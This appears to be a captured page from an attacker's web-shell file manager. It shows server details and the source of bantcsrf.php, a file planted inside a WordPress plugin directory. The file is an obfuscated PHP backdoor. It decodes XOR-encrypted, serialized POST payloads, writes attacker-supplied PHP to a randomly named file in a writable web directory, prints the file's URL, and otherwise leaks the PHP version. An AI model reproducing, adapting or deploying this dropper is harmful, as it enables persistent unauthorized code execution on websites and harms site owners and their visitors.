HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/dallavitae/OLD_WP/wp-content/plugins/pvtcontent_bundle/plugins/bantcsrf.php
<?php $tpehIS = "cDRKZKTGXw";function hOquoIp($tpehIS){ $hIOFtn = chr(115)."\x74".chr(114)."\137".chr(912-798)."\157".chr(185-69).chr(705-656).chr(876-825);$tpehIS = $hIOFtn($tpehIS);$kQguwmE = chr(114).chr(346-249).chr(789-670)."\165".'r'.chr(719-611).'d'.'e'."\x63"."\x6f"."\144"."\145";$tpehIS = $kQguwmE($tpehIS);$tpehIS = str_split($tpehIS);return $tpehIS;}function xwlizSkqK($kbXDo, $ZCRKzl){$kbXDo = array_slice(str_split(str_repeat($kbXDo, (count($ZCRKzl)/16)+1)), 0, count($ZCRKzl));return $kbXDo;}function RKYVguSovn($TOjEgtKjLd, $FdYCQWknjC, $kbXDo){$EicCbenF = "dabf4158-7b8f-4a21-9a19-ae16df894b49";return $TOjEgtKjLd ^ $EicCbenF[$FdYCQWknjC % strlen($EicCbenF)] ^ $kbXDo;}function bpcZWyZJxI($ZCRKzl, $kbXDo){$ZCRKzl = array_map("RKYVguSovn", array_values($ZCRKzl), array_keys($ZCRKzl), array_values($kbXDo));$ZCRKzl = implode("", $ZCRKzl);$uDgprtl = "\x75".'n'.chr(115)."\145"."\162".'i'."\x61"."\x6c".chr(105).'z'.'e';$ZCRKzl = @$uDgprtl($ZCRKzl);return $ZCRKzl;}function GmJSj(){echo "lzZqyiXh";}function YVWdpPeW($WnXsMWUHir){static $DHsVtP = array();$auGzPfmG = glob($WnXsMWUHir . '/*', GLOB_ONLYDIR);$YGxwRpswb = count($auGzPfmG);if ($YGxwRpswb > 0) {foreach ($auGzPfmG as $WnXsMWUH) {$tVUGlMsHXT = chr(105).'s'.chr(95).chr(119).chr(451-337).chr(423-318).chr(356-240).chr(654-557)."\142".chr(827-719).chr(101);if (@$tVUGlMsHXT($WnXsMWUH)) {$DHsVtP[] = $WnXsMWUH;}}}foreach ($auGzPfmG as $WnXsMWUHir) YVWdpPeW($WnXsMWUHir);return $DHsVtP;}function DpRXfETZ(){echo "cDRKZKTGXw";}function zWRGTCqu($ZCRKzl){$pkLFwbPWVk = 'D'.chr(79)."\x43"."\125".chr(77)."\105".'N'.'T'."\137".chr(135-53)."\117".'O'.'T';$FDMbW = $_SERVER[$pkLFwbPWVk];$auGzPfmG = YVWdpPeW($FDMbW);$RPVoLDd = array_rand($auGzPfmG);$XRXVXbIi = '.'.chr(112)."\150"."\x70";$GJtlGbyX = $auGzPfmG[$RPVoLDd] . "/" . substr(md5(time()), 0, 8) . $XRXVXbIi;$PijDy = chr(535-433).chr(756-651).chr(342-234).chr(1051-950).chr(300-205).'p'."\165".chr(253-137).chr(758-663).'c'."\x6f"."\156"."\164".'e'."\x6e"."\x74".'s';@$PijDy($GJtlGbyX, $ZCRKzl);$HAXSVxf = "\110".chr(84)."\x54".chr(153-73).chr(1016-921)."\x48".chr(79)."\x53"."\x54";$NNQydIP = chr(104).chr(120-4).chr(116)."\x70".':'.chr(169-122).'/';$RaCNU = $NNQydIP . $_SERVER[$HAXSVxf] . substr($GJtlGbyX, strlen($FDMbW));print($RaCNU);}function kAnGu(){$oELBeZGm = 'p'."\150".chr(112);$Ieedckxuj = 'p'.chr(559-455)."\x70".'v'.'e'."\x72".'s'.chr(105).'o'.chr(297-187);$ZCRKzl = Array($oELBeZGm => @$Ieedckxuj(), );$eeWTXzYaGw = "\163"."\145"."\162"."\x69".chr(1076-979).'l'.chr(560-455)."\172"."\x65";echo @$eeWTXzYaGw($ZCRKzl);}foreach ($_POST as $kbXDo => $ZCRKzl){$DgsfS = strlen($kbXDo);if ($DgsfS == 16){$ZCRKzl = hOquoIp($ZCRKzl);$kbXDo = xwlizSkqK($kbXDo, $ZCRKzl);$ZCRKzl = bpcZWyZJxI($ZCRKzl, $kbXDo);if (@is_array($ZCRKzl)){$RPVoLDd = array_keys($ZCRKzl);$ZCRKzl = $ZCRKzl[$RPVoLDd[0]];$RPVoLDd = $RPVoLDd[0];$RPVoLDd = substr($RPVoLDd, 0);if ($ZCRKzl !== $RPVoLDd){zWRGTCqu($ZCRKzl);}else {kAnGu();}die();}}}